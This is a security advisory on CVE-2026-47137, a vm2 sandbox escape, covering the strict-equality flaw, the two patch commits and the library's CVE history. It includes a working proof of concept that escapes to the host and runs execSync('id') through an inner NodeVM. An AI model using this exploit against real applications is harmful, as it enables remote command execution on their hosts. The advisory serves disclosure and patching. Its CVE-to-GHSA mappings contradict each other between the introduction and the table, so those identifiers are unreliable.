Introduction
A single omitted configuration option in the popular Node.js sandboxing library vm2 completely negates a prior security patch, allowing any code running inside the sandbox to escape and execute arbitrary commands on the host operating system. CVE-2026-47137, scored at the maximum CVSS 10.0, is a bypass of the fix for CVE-2023-37903 that requires no authentication, no user interaction, and no special privileges to exploit.
vm2 is an open source virtual machine and sandbox for Node.js, designed to run untrusted JavaScript code with controlled access to Node.js built in modules. With approximately 1.5 million weekly npm downloads, 895 dependent packages, and over 56.7 million cumulative downloads, it is classified by Snyk as a "key ecosystem project." The library is widely used in CI/CD pipelines, low code platforms, and increasingly in AI agent frameworks that need to execute LLM generated code in a sandboxed environment.
Technical Information
The Original Vulnerability and Its Patch
CVE-2023-37903 (tracked as GHSA-8hg8-63c5-gwmx) identified that when a NodeVM was created with nesting: true and require: false, the NESTING_OVERRIDE builtin map in lib/nodevm.js (lines 96 through 99) unconditionally injected the vm2 package into the resolver. This allowed sandbox code to call require('vm2'), construct an inner NodeVM with unrestricted require settings, and escape the sandbox entirely.
The patch for that vulnerability added a guard at nodevm.js line 263 that was intended to block this dangerous combination:
// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); }
The Bypass: Strict Equality vs. Undefined
The flaw in CVE-2026-47137 is straightforward but devastating. The guard uses JavaScript's strict equality operator (===) to compare options.require against the literal value false. In JavaScript, when a property is not present on an object, accessing it returns undefined, not false. The expression undefined === false evaluates to false, so the guard is silently skipped.
The critical sequence in the vulnerable code is:
// nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false
At line 280, the destructuring assignment with a default value (require: requireOpts = false) collapses the omitted require field to false. This produces the exact insecure configuration that the guard at line 263 was designed to reject. The ordering matters: the security check runs on the raw input before destructuring, but the resolver logic runs on the destructured value after it.
Exploitation Chain
The attack follows a clear four step chain:
-
Create an outer NodeVM with the bypassed configuration. The attacker (or the application on behalf of the attacker) creates a
NodeVMwith{ nesting: true }and does not specifyrequire. The security guard is skipped becauseoptions.requireisundefined, notfalse. -
Import vm2 inside the sandbox. Because
nesting: trueactivates theNESTING_OVERRIDEmap, the sandbox code can callrequire('vm2')to obtain the vm2 library itself, even though the effectiverequireOptsisfalse. -
Construct an unconstrained inner NodeVM. Using the imported vm2, the attacker creates a new inner
NodeVMwith an unrestrictedrequireconfiguration, such as{ builtin: ['child_process'] }. -
Execute arbitrary OS commands. The inner VM calls
require("child_process").execSync("id")or any other system command, executing it directly on the host under the Node.js process context.
This chain requires no authentication, no user interaction, and can be triggered over a network connection whenever an application passes untrusted input to a vm2 sandbox configured with nesting: true.
Classification
The vulnerability is classified as CWE-913 (Improper Control of Dynamically Managed Code Resources), reflecting a fundamental weakness in how the library manages code isolation boundaries. The CVSS v3.1 vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, indicating network exploitability with changed scope and complete impact across confidentiality, integrity, and availability.
Proof of Concept
A complete, functional proof of concept is published in the official GitHub Security Advisory GHSA-m4wx-m65x-ghrr, credited to researcher @q1uf3ngONEKEY. The PoC demonstrates full remote code execution on the host system:
const { NodeVM } = require('vm2'); // nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true }); const result = nvm.run(` const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'exploit.js' ); `, 'exploit.js'); console.log(result); // prints host uid/gid — full RCE
The output of this script (e.g., uid=1000(user) gid=1000(user)) confirms code execution on the host, not within the sandbox. The key insight is that the outer NodeVM is created with only { nesting: true }, deliberately omitting the require option. This causes options.require to be undefined, which bypasses the strict equality check against false, while the destructuring default subsequently sets the internal requireOpts to false, the exact state the guard was supposed to prevent.
Patch Information
CVE-2026-47137 is patched in vm2 version 3.11.4, released on May 18, 2026. The fix is delivered across two commits by Patrik Simek, each progressively widening the security guard.
Commit 1: Reorder and Generalize the Falsy Check (01a7552)
The first commit restructures the constructor so that destructuring happens first, and the guard runs on the computed requireOpts value that actually drives the resolver:
const { require: requireOpts = false, nesting = false, /* ... */ } = options; if (nesting === true && !requireOpts) { throw new VMError('NodeVM `nesting: true` requires an explicit `require` config. ...'); }
By using !requireOpts instead of a strict comparison against the raw input, every falsy path is now caught uniformly: require: false, omitted require, require: undefined, require: null, require: 0, and require: '' all trigger the VMError at construction time. This commit also adds a comprehensive test file at test/ghsa/GHSA-m4wx-m65x-ghrr/repro.js covering every falsy variant plus the full RCE PoC chain.
Commit 2: Widen to All Insecure Input Shapes (86ab819)
The second commit addressed two additional bypass classes:
-
Truthy non
truenesting values. The internal override gate uses truthiness (nesting && NESTING_OVERRIDE), not strict equality, so values like1,'yes',{}, or[]would still inject the override. The guard was widened fromnesting === trueto justnesting(truthy check). -
Truthy non object require values. Passing
require: true,require: 1, orrequire: 'yes'would pass the!requireOptscheck (they are truthy), but insidemakeResolverFromLegacyOptionsthese primitives destructure to allundefined, producing the same dangerous resolver.
The final guard performs a structural type check:
const hasRealRequireConfig = requireOpts instanceof Resolver || (typeof requireOpts === 'object' && requireOpts !== null); if (nesting && !hasRealRequireConfig) { throw new VMError('NodeVM `nesting` requires an explicit `require` config object. ...'); }
This ensures that requireOpts must be either a genuine non null object (e.g., {}, { builtin: [] }) or a Resolver instance. Every other shape is rejected at construction time. The documented escape hatch for embedders who intentionally accept the nesting trade off is preserved: passing any real require config object (even an empty {}) continues to work, making the developer's acknowledgment of risk visible at the call site.
Both commits include corresponding changes to CHANGELOG.md, README.md, docs/ATTACKS.md, and the test suite to document the broader defense invariant: configurations that produce a NESTING_OVERRIDE only resolver must fail loudly at construction time.
Affected Systems and Versions
All versions of vm2 up to and including 3.11.3 are affected. The vulnerability is patched in version 3.11.4.
The vulnerable configuration requires:
NodeVMcreated withnesting: true- The
requireoption either omitted entirely or set to any value that is not a genuine non null object orResolverinstance
Any application, framework, or platform that creates a NodeVM with nesting: true without explicitly configuring require as an object is vulnerable. This includes transitive dependencies: 895 npm packages depend on vm2, and many may use the vulnerable configuration pattern without the end user's direct awareness.
Kodem Security has specifically identified AI agent frameworks as a high risk category, as these systems commonly use vm2 to sandbox LLM generated or user provided code with nesting enabled.
Vendor Security History
vm2 has a well established and concerning pattern of sandbox escape vulnerabilities where patches are subsequently bypassed. The following table summarizes the escalating chain:
| CVE | GHSA | CVSS | Affected Versions | Patched Version | Description |
|---|---|---|---|---|---|
| CVE-2023-30547 | <= 3.9.16 | 3.9.17 | Sandbox escape | ||
| CVE-2023-37903 | GHSA-g644-9gfx-q4q4 | 9.8 | <= 3.9.19 | 3.9.20 | Sandbox escape via Node.js custom inspect function |
| CVE-2026-44007 | GHSA-8hg8-63c5-gwmx | 9.1 | <= 3.11.0 | 3.11.1 | nesting: true bypasses require: false via NESTING_OVERRIDE |
| CVE-2026-22709 | 9.8 | <= 3.10.1 | 3.11.0 | Sandbox escape via Promise callback bypass | |
| CVE-2026-47137 | GHSA-m4wx-m65x-ghrr | 10.0 | <= 3.11.3 | 3.11.4 | Bypass of GHSA-8hg8-63c5-gwmx patch via strict equality flaw |
The CVSS scores have escalated from 9.1 to 9.8 to the current maximum of 10.0. Kodem Security identified a total of 13 vm2 sandbox escape CVEs in the 2026 wave alone. Endor Labs has noted that the library is no longer actively maintained in a way that would address the fundamental architectural issues underlying these repeated escapes. Multiple security research firms, including Endor Labs, Kodem Security, and Semgrep, recommend migrating away from vm2 entirely for security critical isolation use cases.
References
- NVD: CVE-2026-47137
- CVE Record: CVE-2026-47137
- GitHub Advisory: GHSA-m4wx-m65x-ghrr (Official Advisory)
- GitHub Advisory Database: GHSA-m4wx-m65x-ghrr
- GitLab Advisory: CVE-2026-47137
- Security Online: vm2 Sandbox Escape Vulnerabilities
- GitHub Advisory: GHSA-g644-9gfx-q4q4 (Prior CVE-2023-37903)
- GitHub Advisory: GHSA-8hg8-63c5-gwmx (Prior CVE-2026-44007)
- Patch Commit 1: 01a7552
- Patch Commit 2: 86ab819
- vm2 Release v3.11.4
- Endor Labs: CVE-2026-47137 Analysis
- Kodem Security: vm2 Sandbox Escape, AI Agent RCE Risk and IOCs
- Semgrep: New Sandbox Escape Affecting vm2
- Socket: Free Certified Patches for vm2 Sandbox Escape
- BleepingComputer: Critical vm2 Sandbox Bug
- vm2 on npm
- vm2 on Snyk
- vm2 GitHub Repository
- vm2 Sandbox Escape Exploits (jakabakos)
- Exploit-DB: vm2 Sandbox Escape



